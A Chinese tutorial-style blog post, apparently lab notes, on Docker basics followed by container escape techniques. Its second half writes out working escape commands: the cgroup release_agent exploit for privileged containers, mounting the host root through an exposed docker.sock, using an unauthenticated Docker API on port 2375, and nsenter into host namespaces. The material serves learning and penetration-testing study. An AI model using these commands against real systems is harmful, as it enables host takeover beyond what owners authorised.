docker逃逸手法

基本docker操作

docker 命令

# docker拉取
docker pull
# 指定版本拉取
docker pull ubuntu:22.04

# 显示镜像可执行的操作
docker image
# 列出存储在本地系统上的所有图像
docker image ls
# 删除docker镜像
docker image rm

# 运行容器
docker run <inage_name>
# 运行时进入容器终端
docker run -it helloworld /bin/bash
# docker 常见参数
docker run -d helloworld # -d参数指示容器以“分离”模式启动。这意味着容器将在后台运行。
docker run -it helloworld # 这个论点有两个部分。“i”表示交互式运行,“t”表示 Docker 在容器内运行 shell。如果我们希望在容器运行后直接与容器交互,我们将使用此选项
docker run -v /host/os/directory:/container/directory helloworld # -v参数是“Volume”的缩写,它告诉 Docker 将主机操作系统中的目录或文件挂载到容器内的某个位置。这些文件的存储位置在 Dockerfile 中定义
docker run -p 80:80 webserver # -p参数指示 Docker 将主机操作系统上的端口绑定到容器中公开的端口。如果您在容器中运行应用程序或服务(例如 Web 服务器),并希望通过导航到 IP 地址来访问应用程序/服务,则可以使用此说明。
docker run --rm helloworld # --rm参数告诉 Docker 在容器完成运行它被指示执行的任何操作后删除容器。
docker run --name helloworld # --name让我们给容器起一个友好、难忘的名字。在没有此选项的情况下运行容器时,名称是两个随机词。我们可以使用此 open 来命名容器,该容器在容器正在运行的应用程序之后。

# 列出正在运行的容器
docker ps
# 列出所有的容器
docker ps -a

dockerfiles

# dockerfiles语法
from ubuntu # from指令为容器设置构建阶段,并设置基础映像(操作系统)。所有 Dockerfile 都必须从这个开始。
run whoami # run指令将在新层内的容器中执行命令。
copy /home/a/b copy指令将文件从本地系统复制到容器中的工作目录(语法类似于命令cp)。
WORKDIR / # WORKDIR指令设置容器的工作目录。(类似于在 Linux 上使用)。cd
CMD /bin/sh -c script.sh # CMD指令确定容器启动时运行哪个命令(您将使用它来启动服务或应用程序)。
EXPOSE 80 # EXPOSE指令用于告诉运行容器的人员在运行容器时应发布哪个端口。

# docker构建
docker build -t helloworld ./Dockerfile
-t 命名镜像

Docker Compose

docker-compose up # 创建/构建并启动复合文件中指定的容器。
docker-compose start # 启动复合文件中指定的容器。
docker-compose down # 此命令将停止并删除复合文件中指定的容器。
docker-compose stop # 此命令将停止(而不是删除)复合文件中指定的容器
docker-compose build # 此命令将构建(但不会启动)复合文件中指定的容器

Docker-compose.yml 文件
version #  它位于文件的顶部,用于标识为哪个版本的 Compose 编写docker-compose.yml
services #  此指令标志着要管理的容器的开始。
name #  在此指令中,您可以定义容器及其配置。“name”需要替换为您要定义的容器的实际名称,即“webserver”或“database”。
build #  此指令定义包含此容器/服务的 Dockerfile 的目录。(您将需要使用此图像或图像)。
ports #  此指令将端口发布到公开的端口(这取决于 image/Dockerfile)。
volumes #  此指令列出了应从主机操作系统挂载到容器中的目录。
environment #  此指令用于传递环境变量(不安全),即密码、用户名、时区配置等。
image #  此指令定义了应使用哪个映像来构建容器(您将需要使用此映像或构建该映像)。
networks #  此指令定义了容器将成为哪些网络的一部分。容器可以是多个网络的一部分(即 Web 服务器只能联系一个数据库,但数据库可以联系多个 Web 服务器)。
## 示例:

version: '3.3'
services:
  web:
    build: ./web
    networks:
      - ecommerce
    ports:
      - '80:80'


  database:
    image: mysql:latest
    networks:
      - ecommerce
    environment:
      - MYSQL_DATABASE=ecommerce
      - MYSQL_USERNAME=root
      - MYSQL_ROOT_PASSWORD=helloword
  
networks:
  ecommerce:

漏洞利用

容器漏洞

因容器的迁移特性,其中可能存在各种硬编码,比如拉取的web应用的数据库连接密码
同时不同的docker版本也具有不同的逃逸漏洞

特权容器

capsh --print # 列出特权Docker的功能
1. mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
2. echo 1 > /tmp/cgrp/x/notify_on_release
3. host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
4. echo "$host_path/exploit" > /tmp/cgrp/release_agent
5. echo '#!/bin/sh' > /exploit
6. echo "cat /home/cmnatic/flag.txt > $host_path/flag.txt" >> /exploit
7. chmod a+x /exploit
8. sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

通过暴露的docker守护程序进行逃逸

验证我们的用户是否属于 Docker 组
groups # 查看是否有docker字样
find / -name docker.sock # 寻找docker套接字
# 创建新容器并把宿主机挂载在新容器中
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
docker rundocker run -v /:/mnt
chroot /mnt

通过暴露的docker守护程序远程执行代码

nmap -sV -p 2375 10.10.200.38 Starting Nmap # 看docker api是否运行在2375端口并可访问
curl http://10.10.200.38:2375/version # 确认docker守护进程
docker -H tcp://10.10.200.38:2375 ps # 在目标上执行docker命令

# 值得注意的命令
network ls # 用于列出容器网络
images # 列出容器使用的图像
exec # 在容器上执行命令
run # 运行容器

滥用命名空间

确定我们是否在容器中
ps aux # 查看进程数,如果数量很小则可能在容器中
# 如果在容器中看到docker类似的进程,说明doker可能可以利用滥用命名空间逃逸

# 漏洞利用
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# 命令解释
--target # 使用值为“1”的开关来执行我们稍后提供的 shell 命令,该命令在特殊系统进程 ID 的命名空间中执行,以获得最终的root
--mount # 指定此名称是我们提供目标进程的挂载命名空间的地方。“如果未指定文件,请输入目标进程的挂载命名空间。” 
--uts # 该开关允许我们与目标进程共享相同的 UTS 命名空间,这意味着使用相同的主机名。这很重要,因为主机名不匹配可能会导致连接问题(尤其是网络服务)
--ipc # 开关意味着我们进入进程的进程间通信命名空间,这很重要。这意味着内存可以共享
--net # 关意味着我们进入网络命名空间,这意味着我们可以与系统的网络相关功能进行交互。例如,网络接口。我们可以使用它来打开一个新的连接(例如主机上的稳定反向 shell)

可能需要“Ctrl + C”来取消一次或两次漏洞利用才能使此漏洞起作用

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值